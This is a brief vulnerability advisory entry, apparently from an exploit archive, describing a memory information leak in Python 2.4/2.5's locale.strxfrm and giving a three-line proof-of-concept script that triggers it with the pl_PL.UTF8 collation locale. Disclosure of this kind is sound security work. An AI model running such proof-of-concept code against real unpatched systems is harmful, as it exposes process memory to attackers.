source: https://www.securityfocus.com/bid/23887/info Python applications that use the 'PyLocale_strxfrm' function are prone to an information leak. Exploiting this issue allows remote attackers to read portions of memory. Python 2.4.4-2 and 2.5 are confirmed vulnerable. #!/usr/bin/python import locale print locale.setlocale(locale.LC_COLLATE, 'pl_PL.UTF8') print repr(locale.strxfrm('a'))